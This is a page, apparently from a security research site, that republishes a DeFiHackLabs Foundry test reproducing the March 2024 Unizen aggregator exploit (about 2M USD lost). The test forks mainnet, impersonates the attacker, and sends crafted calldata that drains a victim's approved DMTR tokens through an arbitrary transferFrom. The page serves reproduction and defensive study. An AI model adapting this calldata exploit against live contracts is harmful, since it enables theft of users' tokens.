Public reproduction file

src/test/2024-03/UnizenIO_exp.sol

Public reproduction file for dataset entry UnizenIO.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-03/UnizenIO_exp.sol42 lines

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6// @KeyInfo - Total Lost : ~2M USD$
7// Attacker : https://etherscan.io/address/0x2ad8aed847e8d4d3da52aabb7d0f5c25729d10df
8// Vulnerable Contract : (Unizen: Trade Aggregator Proxy) https://etherscan.io/address/0xd3f64baa732061f8b3626ee44bab354f854877ac
9// Attack Tx : https://app.blocksec.com/explorer/tx/eth/0x923d1d63a1165ebd3521516f6d22d015f2e1b4b22d5dc954152b6c089c765fcd ( one of the transactions)
10 
11// @Analysis
12// https://twitter.com/SlowMist_Team/status/1766311510362734824
13// It's an unverified contract.
14 
15contract UniZenIOTest is Test {
16    address victim = address(0x7feAeE6094B8B630de3F7202d04C33f3BDC3828a);
17    address attacker = address(0x2aD8aed847e8d4D3da52AaBB7d0f5c25729D10df);
18    address aggregator_proxy = address(0xd3f64BAa732061F8B3626ee44bab354f854877AC);
19    IERC20 DMTR = IERC20(0x51cB253744189f11241becb29BeDd3F1b5384fdB);
20 
21    function setUp() public {
22        vm.createSelectFork("mainnet", 19_393_769);
23 
24        emit log_named_uint("Before attack, victim DMTR amount (in ether)", DMTR.balanceOf(victim) / 1 ether);
25        emit log_named_uint(
26            "Before attack, victim approved DMTR amount (in ether) on UnizenAggregator",
27            DMTR.allowance(victim, address(aggregator_proxy)) / 1 ether
28        );
29    }
30 
31    function testExploit() public {
32        vm.startPrank(attacker);
33        aggregator_proxy.call{value: 1}(
34            hex"1ef29a02000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000001a00000000000000000000000002ad8aed847e8d4d3da52aabb7d0f5c25729d10df000000000000000000000000000000000000000000000000000000000000000000000000000000000000000051cb253744189f11241becb29bedd3f1b5384fdb000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000297963e6c9965e0000000000000000000000000000000000000000000000000000000000000012000000000000000000000000000000000000000000000000000000000000000110000000000000000000000000000000000000000000000000000000000000753000000000000000000000000000000000000000000000000000000000000000a554e495a454e2d434c49000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000002000000000000000000000000051cb253744189f11241becb29bedd3f1b5384fdb00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000006423b872dd0000000000000000000000007feaee6094b8b630de3f7202d04c33f3bdc3828a000000000000000000000000d3f64baa732061f8b3626ee44bab354f854877ac0000000000000000000000000000000000000000000000023128cfbd15ed72f600000000000000000000000000000000000000000000000000000000"
35        );
36        emit log_named_uint("After attack, victim DMTR amount (in ether)", DMTR.balanceOf(victim) / 1 ether);
37        emit log_named_uint(
38            "After attack, victim approved DMTR amount (in ether) on UnizenAggregator",
39            DMTR.allowance(victim, address(aggregator_proxy)) / 1 ether
40        );
41    }
42}

Analysis

Dataset entry

Public Foundry test for “UnizenIO” (2024-03-09). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

18 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

src/test/interface.solImported by this file · 6133 lines
src/test/2024-03/ALP_exp.solSame month in the dataset · 84 lines
src/test/2024-03/ARK_exp.solSame month in the dataset · 52 lines
src/test/2024-03/BBT_exp.solSame month in the dataset · 140 lines
src/test/2024-03/Binemon_exp.solSame month in the dataset · 80 lines
src/test/2024-03/CGT_exp.solSame month in the dataset · 272 lines
src/test/2024-03/ETHFIN_exp.solSame month in the dataset · 126 lines
src/test/2024-03/GHT_exp.solSame month in the dataset · 62 lines
src/test/2024-03/IT_exp.solSame month in the dataset · 139 lines
src/test/2024-03/Juice_exp.solSame month in the dataset · 76 lines
src/test/2024-03/LavaLending_exp.solSame month in the dataset · 347 lines
src/test/2024-03/MO_exp.solSame month in the dataset · 94 lines
src/test/2024-03/Paraswap_exp.solSame month in the dataset · 75 lines
src/test/2024-03/Prisma_exp.solSame month in the dataset · 216 lines
src/test/2024-03/SSS_exp.solSame month in the dataset · 90 lines
src/test/2024-03/TGBS_exp.solSame month in the dataset · 90 lines
src/test/2024-03/Woofi_exp.solSame month in the dataset · 185 lines
src/test/2024-03/ZongZi_exp.solSame month in the dataset · 116 lines

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

Attacker
0x2ad8aed847e8d4d3da52aabb7d0f5c25729d10df
Vulnerable Contract
0xd3f64baa732061f8b3626ee44bab354f854877ac

Attack Tx
0x923d1d63a1165ebd3521516f6d22d015f2e1b4b22d5dc954152b6c089c765fcd

File record

Name: UnizenIO
Path: src/test/2024-03/UnizenIO_exp.sol
Repository: SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit: 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob: f617ef20677d7c58296e3c2f9a410c5c7f512108
Language: Solidity
Size: 43 lines
Date: 2024-03-09
Licence: file header UNLICENSED; repository Apache-2.0
Retrieved: 2026-10-19

Provenance

Path src/test/2024-03/UnizenIO_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob f617ef20677d7c58296e3c2f9a410c5c7f512108, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.